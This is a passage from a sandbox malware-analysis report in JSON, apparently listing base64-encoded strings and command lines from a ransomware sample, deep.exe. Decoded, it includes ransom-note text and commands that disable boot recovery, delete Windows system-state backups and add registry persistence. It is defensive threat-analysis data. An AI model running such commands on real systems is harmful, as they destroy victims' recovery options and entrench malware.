Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eWJNY1pgKHg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eUtjP3wte00gRQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eW09Ri0hMygx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eW1YJGoqM2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WW91IGhhdmUgdG8gcGF5IGZvciBkZWNyeXB0aW9uIGluIEJpdGNvaW5zLiBUaGUgcHJpY2UgZGVwZW5kcyBvbiBob3cgZmFzdCB5b3Ugd3JpdGUgdG8gdXMu","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"WW91ciBmaWxlcyBhcmUgbm93IGVuY3J5cHRlZCE=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"$32","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"WW91ciBwZXJzb25hbCBpZGVudGlmaWVyOg==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"WXJET3VsJDA/LA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WVJ9RUVEKyVa","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WVhDeCEoOWM6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ejAwNFZoKG8x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WjRwJDM3OU4x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ejVmQkpIU25e","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WltmLUUmWGhg","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"emJjPkdHL0dj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Wm9vbURpc2FibGVk","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"eyV9IlNkcWRxPQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ezAzMUU0ODI1LTdCOTQtNERDMy1CMTMxLUU5NDZCNDRDOERENX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezA0NzMxQjY3LUQ5MzMtNDUwQS05MEU2LTRBQ0QyRTk0MDhGRX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezA4NzVEQ0I2LUM2ODYtNDI0My05NDMyLUFEQ0NGMEI5RjJEN30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezExMDE2MTAxLUUzNjYtNEQyMi1CQzA2LTRBREEzMzVDODkyQn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezEzODUwOEJDLTFFMDMtNDlFQS05QzhGLUVBOUUxRDA1RDY1RH0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezFCM0VBNURDLUI1ODctNDc4Ni1CNEVGLUJEMURDMzMyQUVBRX0=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezIwRDA0RkUwLTNBRUEtMTA2OS1BMkQ4LTA4MDAyQjMwMzA5RH0=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezQzMzZBNTRELTAzOEItNDY4NS1BQjAyLTk5QkI1MkQzRkI4Qn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezQ1MEQ4RkJBLUFEMjUtMTFEMC05OEE4LTA4MDAzNjFCMTEwM30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezU5MDMxQTQ3LTNGNzItNDRBNy04OUM1LTU1OTVGRTZCMzBFRX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezg5RDgzNTc2LTZCRDEtNEM4Ni05NDU0LUJFQjA0RTk0QzgxOX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezhGRDhCODhELTMwRTEtNEYyNS1BQzJCLTU1M0QzRDY1RjBFQX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezkzNDM4MTJFLTFDMzctNEE0OS1BMTJFLTRCMkQ4MTBEOTU2Qn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezk4RDk5NzUwLTBCOEEtNEM1OS05MTUxLTU4OTA1MzY4M0Q3M30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e19sUCpGXCE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"e0I0RkIzRjk4LUMxRUEtNDI4RC1BNzhBLUQxRjU2NTlDQkE5M30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0JEN0EyRTdCLTIxQ0ItNDFCMi1BMDg2LUIzMDk2ODBDNkI3RX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0RBRjk1MzEzLUU0NEQtNDZBRi1CRTFCLUNCQUNFQTJDMzA2NX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0UzNDVGMzVGLTkzOTctNDM1Qy04Rjk1LTRFOTIyQzI2MjU5RX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0VEMjI4RkRGLTlFQTgtNDg3MC04M0IxLTk2QjAyQ0ZFMEQ1Mn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0ZMO3BTPFRIWQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"e21kcnhIXFtc","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"e1R9cUctYyA3OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"e1YqPyYmWjUx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fD5TbEdbNzM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fEkjP0UiYjI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fTE/N0pMMjlF","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fTh0PUxEaCVc","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fWlGQFQyYUU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fihHXFhlXUp7Mw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fjJpMWcpPlhv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"flBkR05sPXdQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fnJXcDEteygh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fn5+fn5+fn5+fg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fn5+fn5+fn5+fn5+fn5+fg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null}],"interesting":[{"value":"IlwsL1tdOjw+Kz07PyQje31+YF5AIScoKSo=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IkRlc2NyaXB0aW9uIixSZWxQYXRoPSI=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ImphdmFzY3JpcHQ6ZXZhbChuZXcgQWN0aXZlWE9iamVjdCgnV1NjcmlwdC5TaGVsbCcpLlJlZ1JlYWQoJ0hLQ1VcXFNvZnR3YXJlXFxJWlhKW1xcQ1dCQlAnKSk7Y2xvc2UoKTsi","type":"Ansi","source":"Process Commandline","process":null,"filename":"mshta.exe","compromised":null,"detection_total":null,"total":null},{"value":"ImphdmFzY3JpcHQ6bz1uZXcgQWN0aXZlWE9iamVjdCgnU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QnKTtzZXRJbnRlcnZhbChmdW5jdGlvbigpe3RyeXtvLkRlbGV0ZUZpbGUoJ2RlZXAuZXhlJyk7Y2xvc2UoKX1jYXRjaChlKXt9fSwxMCk7Ig==","type":"Ansi","source":"Process Commandline","process":null,"filename":"mshta.exe","compromised":null,"detection_total":null,"total":null},{"value":"ImphdmFzY3JpcHQ6bz1uZXcgQWN0aXZlWE9iamVjdCgnV1NjcmlwdC5TaGVsbCcpO3g9bmV3IEFjdGl2ZVhPYmplY3QoJ1NjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0Jyk7c2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXt0cnl7aT14LkdldEZpbGUoJ2RlZXAuZXhlJykuUGF0aDtvLlJlZ1dyaXRlKCdIS0NVXFxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUnVuT25jZVxcTE1lV0NGeVVYaFlCTFInLGkpO31jYXRjaChlKXt9fSwxMCk7Ig==","type":"Ansi","source":"Process Commandline","process":null,"filename":"mshta.exe","compromised":null,"detection_total":null,"total":null},{"value":"JS0yNXMtICUuNDhzLi4u","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS4yZC0lLjJkLSUuNGRUJS4yZDolLjJkOiUuMmQ=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS4yZC8lLjJkLyUuNGQ=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS4yZDolLjJkOiUuMmQ6JS4zZA==","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JUFQUERBVEElXGRlZXAuZXhl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJJbnRlcm5ldCBFeHBsb3JlciIlIHswMDAyMTRFNi0wMDAwLTAwMDAtQzAwMC0wMDAwMDAwMDAwNDZ9IDB4RkZGRg==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJSZWN5Y2xlIEJpbiIl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JWQgJXMgJXMgdGhyZWFkOiVkIFslcy4lZF0=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXggJXMgJXMgdGhyZWFkOiVkIFslcy4lZF0=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"J0J1eSBiaXRjb2lucycsIGFuZCBzZWxlY3QgdGhlIHNlbGxlciBieSBwYXltZW50IG1ldGhvZCBhbmQgcHJpY2U6","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KENMU0lEX1diZW1PYmplY3RUZXh0U3JjLCBOVUxMLENMU0NUWF9JTlBST0NfU0VSVkVSLCBJSURfSVdiZW1PYmplY3RUZXh0U3JjLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KHRoZXkgYWRkIHRoZWlyIGZlZSB0byBvdXIpIG9yIHlvdSBjYW4gYmVjb21lIGEgdmljdGltIG9mIGEgc2NhbS4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KiBBbHNvIHlvdSBjYW4gZmluZCBvdGhlciBwbGFjZXMgdG8gYnV5IEJpdGNvaW5zIGFuZCBiZWdpbm5lcnMgZ3VpZGUgaGVyZTo=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KiBUaGUgZWFzaWVzdCB3YXkgdG8gYnV5IGJpdGNvaW5zIGlzIExvY2FsQml0Y29pbnMgc2l0ZS4gWW91IGhhdmUgdG8gcmVnaXN0ZXIsIGNsaWNr","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"LCBVdGlsaXR5IHJldHVybmVkIGVycm9yIElELg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LC9bXTo8Pis9Oz8kI3t9fmBeQCEnKCkq","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LSBTdWNjZWVkZWQgJXMgJXMgdGhyZWFkOiVkIFslcy4lZF0=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LSFAXTVDeW1f","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ==","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"LjEuNzYwMC4xNjM4NSAod2luN19ydG0uMDkwNzEzLTEyNTUp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVl9jb21fZXJyb3JAQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmJhZF9hbGxvY0BzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmxlbmd0aF9lcnJvckBzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmxvZ2ljX2Vycm9yQHN0ZEBA","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVm91dF9vZl9yYW5nZUBzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"L2MgYmNkZWRpdCAvc2V0IHtkZWZhdWx0fSBib290c3RhdHVzcG9saWN5IGlnbm9yZWFsbGZhaWx1cmVz","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2MgYmNkZWRpdCAvc2V0IHtkZWZhdWx0fSByZWNvdmVyeWVuYWJsZWQgTm8=","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2MgY29weSAveSAiQzpcZGVlcC5leGUiICIlQVBQREFUQSVcZGVlcC5leGUi","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2Mgc3RhcnQgL21heCBub3RlcGFkLmV4ZSAiJVVTRVJQUk9GSUxFJVxIT1cgVE8gUkVDT1ZFUiBFTkNSWVBURUQgRklMRVMuVFhUIg==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2Mgd2JhZG1pbiBERUxFVEUgU1lTVEVNU1RBVEVCQUNLVVAgLWtlZXBWZXJzaW9uczow","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"MjVzLSAlLjQ4cy4uLg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MmQtJS4yZC0lLjRkVCUuMmQ6JS4yZDolLjJk","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"OjpnZXRFbGVtZW50c0J5VGFnTmFtZShMIlZBTFVFIiwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"OmdldF9pdGVtKC0sLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9BTElBU1RBUkdFVD4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9DT01NQU5EPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9DT01NQU5ETElORUNPTVBPTkVOVFM+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9ERVNDUklQVElPTj4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9JTlNUQU5DRT4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"$33","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PEFMSUFTVEFSR0VUPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PENMQVNTIE5BTUU9IiVzIiBTVVBFUkNMQVNTPSIlcyI+PFBST1BFUlRZIE5BTUU9Il9fUEFUSCIgQ0xBU1NPUklHSU49Il9fU1lTVEVNIiBUWVBFPSJzdHJpbmciPjxWQUxVRT48IVtDREFUQVslcyA8L1ZBTFVFPjwvUFJPUEVSVFk+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PENPTU1BTkQgU0VRVUVOQ0VOVU09IiVkIiBJU1NVRURGUk9NPSIlcyIgU1RBUlRUSU1FPSIlcyIgRVZFUllDT1VOVD0iJWQiPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PENPTU1BTkRMSU5FPiVzPC9DT01NQU5ETElORT4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PENPTU1BTkRMSU5FQ09NUE9ORU5UUz4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PENPTlRFWFQ+PE5BTUVTUEFDRT4lczwvTkFNRVNQQUNFPjxST0xFPiVzPC9ST0xFPjxJTVBMRVZFTD4lczwvSU1QTEVWRUw+PEFVVEhMRVZFTD4lczwvQVVUSExFVkVMPjxMT0NBTEU+JXM8L0xPQ0FMRT48UFJJVklMRUdFUz4lczwvUFJJVklMRUdFUz48VFJBQ0U+JXM8L1RSQUNFPjxSRUNPUkQ+JXM8L1JFQ09SRD48SU5URVJBQ1RJVkU+JXM8L0lOVEVSQUNUSVZFPjxGQUlMRkFTVD4lczwvRkFJTEZBU1Q+PE9VVFBVVD4lczwvT1VUUFVUPjxBUFBF","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PERFU0NSSVBUSU9OPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PERFU0NSSVBUSU9OPiJVbmtub3duIFdCRU0gRXJyb3IiPC9ERVNDUklQVElPTj4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PERFU0NSSVBUSU9OPiVzPC9ERVNDUklQVElPTj4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PEVSUk9SPjxERVNDUklQVElPTj4lczwvREVTQ1JJUFRJT04+PC9FUlJPUj4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PElOU1RBTkNFIENMQVNTTkFNRT0iJXMiPjxQUk9QRVJUWSBOQU1FPSJfX1BBVEgiIENMQVNTT1JJR0lOPSJfX1NZU1RFTSIgVFlQRT0ic3RyaW5nIj48VkFMVUU+PCFbQ0RBVEFbJXMgPC9WQUxVRT48L1BST1BFUlRZPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFJPTEU+JXM8L1JPTEU+PElNUExFVkVMPiVzPC9JTVBMRVZFTD48QVVUSExFVkVMPiVzPC9BVVRITEVWRUw+PExPQ0FMRT4lczwvTE9DQUxFPjxQUklWSUxFR0VTPiVzPC9QUklWSUxFR0VTPjxUUkFDRT4lczwvVFJBQ0U+PFJFQ09SRD4lczwvUkVDT1JEPjxJTlRFUkFDVElWRT4lczwvSU5URVJBQ1RJVkU+PEZBSUxGQVNUPiVzPC9GQUlMRkFTVD48T1VUUFVUPiVzPC9PVVRQVVQ+PEFQUEVORD4lczwvQVBQRU5EPjxVU0VSPiVzPC9VU0VSPjxBR0dSRUdBVEU+JXM8L0FHR1JFR0FURT48L0NPTlRFWFQ+","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFRBUkdFVD4lczwvVEFSR0VUPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wQ0hTdHJpbmdAQFFBRUBBQlYwQEBa","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wQ0hTdHJpbmdAQFFBRUBQQkRAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wQ0hTdHJpbmdAQFFBRUBQQkdAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wZXhjZXB0aW9uQEBRQUVAQUJRQkRAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wZXhjZXB0aW9uQEBRQUVAQUJWMEBAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8xdHlwZV9pbmZvQEBVQUVAWFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz80Q0hTdHJpbmdAQFFBRUFCVjBAQUJWMEBAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz80Q0hTdHJpbmdAQFFBRUFCVjBAUEJHQFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz9IQFlHP0FWQ0hTdHJpbmdAQEFCVjBAUEJHQFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz9ZQ0hTdHJpbmdAQFFBRUFCVjBAQUJWMEBAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz9ZQ0hTdHJpbmdAQFFBRUFCVjBAUEJHQFo=","type":"Ansi","source":"Memory/File 